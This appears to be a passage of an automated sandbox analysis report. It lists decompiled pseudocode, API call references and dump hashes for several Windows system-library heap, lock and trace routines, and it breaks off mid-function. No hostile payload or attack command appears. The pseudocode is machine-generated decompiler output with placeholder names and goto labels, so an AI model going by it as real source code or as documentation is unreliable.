					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E6CE09325();
					return E6CE5D0D1(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000, _t65));
				}
			}

0x6ce09240
0x6ce09242
0x6ce09247
0x6ce0924c
0x6ce0924e
0x6ce09255
0x6ce09257
0x6ce0925a
0x6ce0925f
0x6ce0925f
0x6ce09266
0x6ce09271
0x6ce09276
0x6ce09279
0x6ce09295
0x6ce092b1
0x6ce092d7
0x6ce092dc
0x6ce092e0
0x6ce092e6
0x6ce092e8
0x6ce092ee
0x6ce09332
0x6ce09333
0x6ce09337
0x6ce09338
0x6ce0933a
0x6ce0933d
0x6ce09342
0x6ce09345
0x6ce09349
0x6ce0934e
0x6ce09352
0x6ce09357
0x6ce092f4
0x6ce092f4
0x6ce092f6
0x6ce092f9
0x6ce09300
0x6ce09324
0x6ce09324

APIs

ZwClose.1105(00000000,6CEDF708,0000000C,6CE09219), ref: 6CE0925A
ZwClose.1105(00000000,6CEDF708,0000000C,6CE09219), ref: 6CE09279
RtlFreeHeap.1105(?,?,?,00000000,6CEDF708,0000000C,6CE09219), ref: 6CE09295
RtlFreeHeap.1105(?,?,00000000,?,?,?,00000000,6CEDF708,0000000C,6CE09219), ref: 6CE092B1
RtlFreeHeap.1105(?,?,?,?,?,00000000,?,?,?,00000000,6CEDF708,0000000C,6CE09219), ref: 6CE092CD
RtlAcquireSRWLockExclusive.1105(6CEF86B4,?,?,?,?,?,00000000,?,?,?,00000000,6CEDF708,0000000C,6CE09219), ref: 6CE092D7
RtlFreeHeap.1105(?,?,?,6CEF86B4,?,?,?,?,?,00000000,?,?,?,00000000,6CEDF708,0000000C), ref: 6CE0931A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$Close$AcquireExclusiveLock
String ID:
API String ID: 3557490396-0
Opcode ID: e1fc55913ff90e431b0c26efe6f43fe166b1d6a538e23c9c88145c6d68fd724c
Instruction ID: 771ce45e8fe03d882218c0c2263d713ab8e55e521c855fd3231a815e0b3d59fd
Opcode Fuzzy Hash: e1fc55913ff90e431b0c26efe6f43fe166b1d6a538e23c9c88145c6d68fd724c
Instruction Fuzzy Hash: 41215732141640DFC721DF68CA00F8AB7B9BF19708F24866DE08997BA1CB39E955CB84

Uniqueness

Uniqueness Score: -1.00%

Function 6CED3E22, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
nativeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E6CED3E22(void* __ecx, signed char _a4, signed short _a8) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				signed int _t18;
				intOrPtr _t24;
				signed char _t32;
				intOrPtr _t37;

				_t18 = _a8 & 0x0000ffff;
				if(_t18 == 0) {
					L7:
					_t37 = 6;
					goto L8;
				} else {
					_t32 = _a4;
					if((_t32 & 0x00000001) != 0 || _t18 !=  *((intOrPtr*)(_t32 + 0x34))) {
						goto L7;
					} else {
						_v20 =  *((intOrPtr*)(_t32 + 0x30));
						_push( &_v8);
						_push(0);
						_push(0);
						_push(8);
						_t9 =  &_v20; // 0x6cef5338
						_v16 = 0;
						_push(0x1a);
						_t24 = E6CE4B0B0();
						if(_t24 != 0) {
							_t37 = _t24;
							if(_t37 != 0) {
								L8:
								E6CE0CC50(_t37);
							} else {
								goto L6;
							}
						} else {
							_t37 = 0;
							L6:
							_t11 = _t32 + 0x24; // 0x6cef8504
							E6CE22280(_t24, _t11);
							 *(_t32 + 0x2c) =  *( *[fs:0x18] + 0x24);
							 *(_t32 + 0x36) =  *(_t32 + 0x36) | 0x00008000;
							E6CED5977(_t32);
							 *(_t32 + 0x2c) =  *(_t32 + 0x2c) & 0x00000000;
							E6CE1FFB0(_t32, _t37, _t11);
						}
					}
				}
				return _t37;
			}

0x6ced3e27
0x6ced3e34
0x6ced3ea8
0x6ced3eaa
0x00000000
0x6ced3e36
0x6ced3e36
0x6ced3e3c
0x00000000
0x6ced3e44
0x6ced3e49
0x6ced3e4f
0x6ced3e50
0x6ced3e51
0x6ced3e52
0x6ced3e54
0x6ced3e57
0x6ced3e5b
0x6ced3e5d
0x6ced3e64
0x6ced3e70
0x6ced3e74
0x6ced3eab
0x6ced3eac
0x00000000
0x00000000
0x00000000
0x6ced3e66
0x6ced3e66
0x6ced3e76
0x6ced3e76
0x6ced3e7a
0x6ced3e8b
0x6ced3e93
0x6ced3e97
0x6ced3e9c
0x6ced3ea1
0x6ced3ea1
0x6ced3e64
0x6ced3e3c
0x6ced3eb9

APIs

ZwTraceControl.1105(0000001A,8Sl,00000008,00000000,00000000,?,6CEF5338,00000000,6CEF5320,6CEF5320,6CEF5338,?,6CEF84E0,?,00000001,6CDE5C80), ref: 6CED3E5D
RtlNtStatusToDosError.1105(00000000,0000001A,8Sl,00000008,00000000,00000000,?,6CEF5338,00000000,6CEF5320,6CEF5320,6CEF5338,?,6CEF84E0,?,00000001), ref: 6CED3E6B
RtlAcquireSRWLockExclusive.1105(6CEF8504,00000000,0000001A,8Sl,00000008,00000000,00000000,?,6CEF5338,00000000,6CEF5320,6CEF5320,6CEF5338,?,6CEF84E0), ref: 6CED3E7A
RtlReleaseSRWLockExclusive.1105(6CEF8504,6CEF8504,00000000,0000001A,8Sl,00000008,00000000,00000000,?,6CEF5338,00000000,6CEF5320,6CEF5320,6CEF5338,?,6CEF84E0), ref: 6CED3EA1
RtlSetLastWin32Error.1105(00000006,6CEF5338,00000000,6CEF5320,6CEF5320,6CEF5338,?,6CEF84E0,?,00000001,6CDE5C80,6CE0591B), ref: 6CED3EAC

Strings

8Sl, xrefs: 6CED3E54, 6CED3E5A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID: 8Sl
API String ID: 1422652320-1932100797
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: 548c6ea60c66b3323d441b738767d930fdfc4efc284243a9d73b39cf2139f7d1
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: 2C11A772A00215A6CB109F5AC880BDB7BB8EF49768F624169ED049B781DB34E947C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 6CED4015, Relevance: 10.5, APIs: 7, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CED4015(signed int __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				char _t10;
				void* _t18;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t32 = __ecx + 0x1c;
					E6CE22280(_t10, __ecx + 0x1c);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E6CE22280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x6cef86ac);
					L6CE0F900(0x6cef86d4, _t28);
					E6CE1FFB0(0x6cef86ac, _t28, 0x6cef86ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E6CE1FFB0(0, _t28, _t32);
					_t18 =  *(_t28 + 0x94);
					if(_t18 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t18);
					}
					_t10 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t28);
				}
				return _t10;
			}

0x6ced401a
0x6ced401e
0x6ced4023
0x6ced4028
0x6ced4029
0x6ced402b
0x6ced402f
0x6ced4043
0x6ced4046
0x6ced4051
0x6ced4057
0x6ced405f
0x6ced4062
0x6ced4067
0x6ced406f
0x6ced407c
0x6ced407c
0x6ced408c
0x6ced408c
0x6ced4097

APIs

RtlAcquireSRWLockExclusive.1105(00000001,?,000000A0,?,?,?,6CE76D7C,00000001,00000001,00000000,?,?,6CE34E1B,0000000F), ref: 6CED402F
RtlAcquireSRWLockExclusive.1105(6CEF86AC,00000001,?,000000A0,?,?,?,6CE76D7C,00000001,00000001,00000000,?,?,6CE34E1B,0000000F), ref: 6CED4046

Part of subcall function 6CE22280: RtlDllShutdownInProgress.1105(00000000), ref: 6CE222BA
Part of subcall function 6CE22280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CE223A3

RtlRbRemoveNode.1105(6CEF86D4,?,6CEF86AC,00000001,?,000000A0,?,?,?,6CE76D7C,00000001,00000001,00000000,?,?,6CE34E1B), ref: 6CED4051
RtlReleaseSRWLockExclusive.1105(6CEF86AC,6CEF86D4,?,6CEF86AC,00000001,?,000000A0,?,?,?,6CE76D7C,00000001,00000001,00000000,?,?), ref: 6CED4057
RtlReleaseSRWLockExclusive.1105(00000001,6CEF86AC,6CEF86D4,?,6CEF86AC,00000001,?,000000A0,?,?,?,6CE76D7C,00000001,00000001,00000000,?), ref: 6CED4062
RtlFreeHeap.1105(?,00000000,?,00000001,6CEF86AC,6CEF86D4,?,6CEF86AC,00000001,?,000000A0,?,?,?,6CE76D7C,00000001), ref: 6CED407C
RtlFreeHeap.1105(?,00000000,?,00000001,6CEF86AC,6CEF86D4,?,6CEF86AC,00000001,?,000000A0,?,?,?,6CE76D7C,00000001), ref: 6CED408C

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: a4c7a3b02e1810a553858c43c6c0c3669428b5bfe22ae85cb4799a015eafbfab
Instruction ID: 65485ed51586bb07a372523dc585d005628ae8d755dc97a1e859ebb058e1e81f
Opcode Fuzzy Hash: a4c7a3b02e1810a553858c43c6c0c3669428b5bfe22ae85cb4799a015eafbfab
Instruction Fuzzy Hash: ED0184722019457FD3119B69CD84E57B7BCFB59668B21022AF50887F11CB28EC16C6E5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE05AC0, Relevance: 9.2, APIs: 6, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE05AC0(signed char _a4, long _a8, signed int _a12, void* _a16, void* _a20) {
				signed int _v8;
				void _v1036;
				char _v1037;
				char _v1038;
				signed int _v1044;
				long _v1048;
				char _v1052;
				signed int _v1056;
				void* _v1060;
				void* _v1064;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				signed int _t81;
				void* _t92;
				signed int _t111;
				signed char _t122;
				void* _t135;
				signed int _t136;
				void* _t144;
				long _t145;
				signed int _t147;

				_v8 =  *0x6cefd360 ^ _t147;
				_t76 = _a16;
				_t140 = _a12;
				_t145 = _a8;
				_v1064 = _t76;
				_t144 = _a20;
				_v1060 = _t144;
				if(_t145 == 0 || _t144 == 0 ||  *_t144 < 0 || _t140 < 0xffffffff ||  *_t144 > 0 && _t76 == 0) {
					L46:
					_t77 = 0xc000000d;
					goto L18;
				} else {
					_t122 = _a4;
					if((_t122 & 0xfffffff0) != 0) {
						goto L46;
					}
					if(_t140 == 0xffffffff) {
						_t140 = 0x203;
						if(E6CE1347D(_t145, 0x203,  &_v1056) < 0) {
							L23:
							_t77 = 0xc0000716;
							L18:
							return E6CE4B640(_t77, _t122, _v8 ^ _t147, _t140, _t144, _t145);
						}
						_t140 = _v1056 + 1;
					}
					_t81 =  *(_t145 + _t140 * 2 - 2) & 0x0000ffff;
					_v1044 = _t81;
					if(_t81 == 0) {
						_t140 = _t140 - 1;
					}
					_v1048 = 0x1ff;
					_v1056 = _t122 & 0x00000004;
					if(E6CE05C07(_t145, _t140,  &_v1036,  &_v1048, (_t122 >> 0x00000001 & 0 | (_t122 & 0x00000004) != 0x00000000) & 0x000000ff, _t122 >> 0x00000001 & 1,  &_v1038,  &_v1052) < 0) {
						goto L18;
					} else {
						_t145 = _v1048;
						if(_v1044 == 0) {
							if(_t145 >= 0x1ff) {
								goto L23;
							}
							_t92 = _t145 + _t145;
							_t145 = _t145 + 1;
							_v1048 = _t145;
							if(_t92 >= 0x3fe) {
								E6CE4B75A();
								L29:
								if(_v1056 == 0 || E6CEBB0D0( &_v1036, 1,  &_v1036, _v1052 -  &_v1036 >> 1,  &_v1037) >= 0 && _v1037 != 0) {
									_t140 = _v1052 -  &_v1036 >> 1;
									if(_t140 >= _t145 - (0 | _v1044 == 0x00000000)) {
										L13:
										_t135 = _v1064;
										if(_t135 == 0 ||  *_t144 == 0) {
											L17:
											 *_t144 = _t145;
											_t77 = 0;
											goto L18;
										} else {
											if(_t145 >  *_t144) {
												_t77 = 0xc0000023;
												goto L18;
											}
											memcpy(_t135,  &_v1036, _t145 + _t145);
											goto L17;
										}
									}
									_t145 = _t145 - (0 | _v1044 == 0x00000000) + 1 - _t140;
									_v1044 = _v1052 + 2;
									_t144 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t145);
									if(_t144 != 0) {
										_t140 = _v1044;
										_t136 = 0;
										if(_t145 <= 0) {
											L39:
											if(E6CEBB0D0(_t136, _t122, _t140, _t145,  &_v1037) < 0 || _v1037 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
												goto L23;
											} else {
												_t111 = 0;
												if(_t145 <= 0) {
													L45:
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
													_t145 = _v1048;
													_t144 = _v1060;
													goto L13;
												} else {
													goto L42;
												}
												do {
													L42:
													if( *((char*)(_t144 + _t111)) == 1) {
														_t140 = 0xffe0;
														 *((intOrPtr*)(_v1044 + _t111 * 2)) =  *((intOrPtr*)(_v1044 + _t111 * 2)) + 0xffe0;
													}
													_t111 = _t111 + 1;
												} while (_t111 < _t145);
												goto L45;
											}
										} else {
											goto L36;
										}
										do {
											L36:
											if(( *(_t140 + _t136 * 2) & 0x0000ffff) + 0xffffffbf <= 0x19) {
												 *(_t140 + _t136 * 2) =  *(_t140 + _t136 * 2) + 0x20;
												 *((char*)(_t144 + _t136)) = 1;
											}
											_t136 = _t136 + 1;
										} while (_t136 < _t145);
										goto L39;
									}
									_t77 = 0xc0000017;
									goto L18;
								} else {
									goto L23;
								}
							}
							 *((short*)(_t147 + _t92 - 0x408)) = 0;
						}
						if((_t122 & 0x00000008) != 0 || _v1038 != 0) {
							goto L13;
						} else {
							goto L29;
						}
					}
				}
			}

0x6ce05ad2
0x6ce05ad5
0x6ce05ad8
0x6ce05add
0x6ce05ae0
0x6ce05ae7
0x6ce05aea
0x6ce05af2
0x6ce612e6
0x6ce612e6
0x00000000
0x6ce05b1f
0x6ce05b1f
0x6ce05b28
0x00000000
0x00000000
0x6ce05b31
0x6ce61142
0x6ce61151
0x6ce61170
0x6ce61170
0x6ce05bed
0x6ce05bfd
0x6ce05bfd
0x6ce61159
0x6ce61159
0x6ce05b37
0x6ce05b3e
0x6ce05b47
0x6ce6117a
0x6ce6117a
0x6ce05b53
0x6ce05b70
0x6ce05b9a
0x00000000
0x6ce05b9c
0x6ce05ba4
0x6ce05baa
0x6ce61186
0x00000000
0x00000000
0x6ce61188
0x6ce6118b
0x6ce6118c
0x6ce61197
0x6ce611a8
0x6ce611ad
0x6ce611b4
0x6ce611f5
0x6ce61207
0x6ce05bc2
0x6ce05bc2
0x6ce05bca
0x6ce05be9
0x6ce05be9
0x6ce05beb
0x00000000
0x6ce05bd1
0x6ce05bd3
0x6ce05c00
0x00000000
0x6ce05c00
0x6ce05be1
0x00000000
0x6ce05be6
0x6ce05bca
0x6ce61225
0x6ce61227
0x6ce6123e
0x6ce61242
0x6ce6124e
0x6ce61254
0x6ce61258
0x6ce61275
0x6ce61291
0x6ce6116b
0x00000000
0x6ce612a4
0x6ce612a4
0x6ce612a8
0x6ce612c4
0x6ce612d0
0x6ce612d5
0x6ce612db
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce612aa
0x6ce612aa
0x6ce612ae
0x6ce612b6
0x6ce612bb
0x6ce612bb
0x6ce612bf
0x6ce612c0
0x00000000
0x6ce612aa
0x00000000
0x00000000
0x00000000
0x6ce6125a
0x6ce6125a
0x6ce61265
0x6ce61267
0x6ce6126c
0x6ce6126c
0x6ce61270
0x6ce61271
0x00000000
0x6ce6125a
0x6ce61244
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce611b4
0x6ce6119b
0x6ce6119b
0x6ce05bb3
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce05bb3
0x6ce05b9a

APIs

memcpy.1105(?,?,00000200,?,000001FF,?,?,?,?), ref: 6CE05BE1

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 33c3900f77ba5769fc580a60068517591e964932885a267e19bfa9ff9e86c2a3
Instruction ID: 0c84a2a8f6bfc57ce1ccab3cb455f56a9a31938badc4c73d27f7485194a8baa6
Opcode Fuzzy Hash: 33c3900f77ba5769fc580a60068517591e964932885a267e19bfa9ff9e86c2a3
Instruction Fuzzy Hash: 1881E6B1B512198BDB218A69CD40BDA77B8EB4531CF3041A9DA14E3B80E774DEC5CF98

Uniqueness

Uniqueness Score: -1.00%

Function 6CED2EF7, Relevance: 9.2, APIs: 6, Instructions: 183
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E6CED2EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x6cefd360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E6CE4D0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E6CE4D0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E6CE22280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x6cefb1e0();
						 *( *(_t106 + 0x30) ^  *0x6cef6110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x6cefb1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x6cef6110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E6CE1FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E6CE4B640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x6cdeac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x6cdeac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x6ced2efc
0x6ced2efd
0x6ced2eff
0x6ced2f03
0x6ced2f0a
0x6ced2f0c
0x6ced2f15
0x6ced2fba
0x6ced2fbb
0x6ced2fc5
0x6ced2fcd
0x6ced2fcf
0x6ced2fd3
0x6ced2fd4
0x6ced2fd5
0x6ced2fd7
0x6ced2fda
0x6ced2fdb
0x6ced2fdd
0x6ced2fe0
0x6ced2fe2
0x6ced2ffc
0x6ced2fe4
0x6ced2fe4
0x6ced2fea
0x6ced2fed
0x6ced2fef
0x6ced2ff6
0x6ced2ff1
0x6ced2ff1
0x6ced2ff1
0x6ced2fef
0x6ced2fff
0x6ced3001
0x6ced301b
0x6ced3003
0x6ced3003
0x6ced300e
0x6ced3015
0x6ced3010
0x6ced3010
0x6ced3010
0x6ced3010
0x6ced300e
0x6ced302c
0x6ced3035
0x6ced303c
0x6ced3046
0x6ced304e
0x6ced3056
0x6ced305a
0x6ced305e
0x6ced3063
0x6ced3067
0x6ced306b
0x6ced306f
0x6ced3072
0x6ced30af
0x6ced30b5
0x6ced30c1
0x6ced30c9
0x6ced30c9
0x6ced30c9
0x00000000
0x6ced3074
0x6ced3081
0x6ced3089
0x6ced308b
0x6ced308d
0x6ced3093
0x6ced309a
0x6ced30ce
0x6ced30d1
0x6ced30d5
0x6ced30d5
0x6ced30d5
0x6ced308d
0x6ced30db
0x6ced30e6
0x6ced30e7
0x6ced30e8
0x6ced30e9
0x6ced30f3
0x6ced2f27
0x6ced2f29
0x6ced2f2b
0x6ced2f2d
0x6ced2f36
0x6ced2f3d
0x6ced2f4c
0x6ced2f58
0x6ced2fad
0x6ced2fb7
0x6ced2fb7

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6CECB632,?,00000000), ref: 6CED303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6CECB632,?,00000000), ref: 6CED3049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6CECB632,?,00000000), ref: 6CED305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6CED3081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6CED30AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6CED30DB

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 63af91f0051dd9be3098ff85f856b6633a42f25efb0b71ab78b818eedabb1147
Instruction ID: f15b116a287478fa02b1b2846085bc99580c169fe55ecbb8e2a67b6677678a7d
Opcode Fuzzy Hash: 63af91f0051dd9be3098ff85f856b6633a42f25efb0b71ab78b818eedabb1147
Instruction Fuzzy Hash: 855117326042158FC704CF2AC89156ABBF5FFC9225B16866DE898DB781DB34ED06CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0B171, Relevance: 9.2, APIs: 6, Instructions: 166
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6CE0B171(signed short __ebx, void* __ecx, void* __edx, void* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				int _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				void* _t106;
				void* _t110;
				int _t111;
				void* _t114;
				void* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x6cedf7a8);
				E6CE5D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *(_t114 - 0x84) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E6CE5D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E6CE4D000(0x80);
						 *(_t114 - 0x18) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *(_t114 - 0x84);
						_t110 = _t106;
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						memcpy(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t108 + _t111;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
